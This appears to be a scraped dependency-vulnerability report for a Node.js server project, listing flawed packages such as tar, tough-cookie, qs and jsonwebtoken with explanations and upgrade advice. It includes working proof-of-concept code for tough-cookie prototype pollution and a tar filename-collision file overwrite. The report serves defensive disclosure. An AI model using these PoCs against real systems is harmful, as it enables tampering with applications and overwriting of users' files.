Affected versions of this package are vulnerable to Out-of-bounds Read. The function handle_error in sass_context.cpp allows attackers to cause a denial-of-service resulting from a heap-based buffer over-read via a crafted sass file. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: qs
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › qs@0.6.5Remediation: Open PR to patch qs@0.6.5.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Denial of Service (DoS). When parsing a string representing a deeply nested object, qs will block the event loop for long periods of time. Such a delay may hold up the server's resources, keeping it from processing other requests in the meantime, thus enabling a Denial-of-Service attack.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade qs to version 1.0.0 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: node-sass@4.14.1, yarn@0.27.5 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › request@2.88.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › request@2.88.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ghoulies@0.0.2 › jsdom@9.12.0 › request@2.88.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › request@2.88.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master branch but not yet published.
References
medium severity
- Vulnerable module: sails
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14Remediation: Upgrade to sails@1.5.3.
Overview
sails is a framework for building realtime apps, using MVC conventions (based on Express and Socket.io).
Affected versions of this package are vulnerable to Prototype Pollution via the function loadActionModules() in controller/load-action-modules.js.
NOTE: The maintainers of this package recommend not allowing an application to replace its controller or action files at runtime, to avoid this vulnerability.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade sails to version 1.5.3 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.
Remediation
Upgrade tar to version 6.2.1 or higher.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: request-promise@4.2.6, node-sass@4.14.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › request-promise@4.2.6 › tough-cookie@2.5.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ghoulies@0.0.2 › jsdom@9.12.0 › tough-cookie@2.5.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ghoulies@0.0.2 › jsdom@9.12.0 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › tough-cookie@2.3.4
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: json5
- Introduced through: babel-core@6.26.3, webpack@2.7.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › json5@0.5.1Remediation: Upgrade to webpack@4.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-loader@6.4.1 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to babel-loader@7.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to css-loader@0.26.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to webpack@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the parse method , which does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade json5 to version 1.0.2, 2.2.2 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@7.4.3 and passport-jwt@2.2.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › jsonwebtoken@7.4.3Remediation: Upgrade to jsonwebtoken@9.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › passport-jwt@2.2.1 › jsonwebtoken@7.4.3Remediation: Upgrade to passport-jwt@4.0.1.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.
Exploitability
Users are affected only if all of the following conditions are true for the jwt.verify() function:
A token with no signature is received.
No algorithms are specified.
A falsy (e.g.,
null,false,undefined) secret or key is passed.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
new
- Vulnerable module: body-parser
- Introduced through: grunt-contrib-watch@1.0.0 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › body-parser@1.17.1
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to invalid limit option handling in normalizeOptions in lib/utils.js. An attacker can force oversized request bodies through by supplying an application configuration value for limit that parses to null, such as an unparseable string or NaN. When an app relies on limit to cap body size, the parser skips enforcement and accepts arbitrarily large payloads, driving excessive memory and CPU usage and degrading or crashing the service.
Remediation
Upgrade body-parser to version 1.20.6, 2.3.0 or higher.
References
medium severity
- Vulnerable module: cookie
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › cookie@0.1.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › cookie-parser@1.3.5 › cookie@0.1.3Remediation: Upgrade to sails@1.5.13.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › cookie@0.1.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › cookie@0.1.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › cookie-parser@1.3.5 › cookie@0.1.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › csurf@1.8.3 › cookie@0.1.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › express-session@1.11.3 › cookie@0.1.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › cookie@0.1.2Remediation: Upgrade to sails@1.5.13.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › csurf@1.9.0 › cookie@0.3.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › express-session@1.14.2 › cookie@0.3.1Remediation: Upgrade to sails@1.5.13.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › engine.io@1.8.3 › cookie@0.3.1Remediation: Upgrade to sails@1.0.0.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.
Workaround
Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
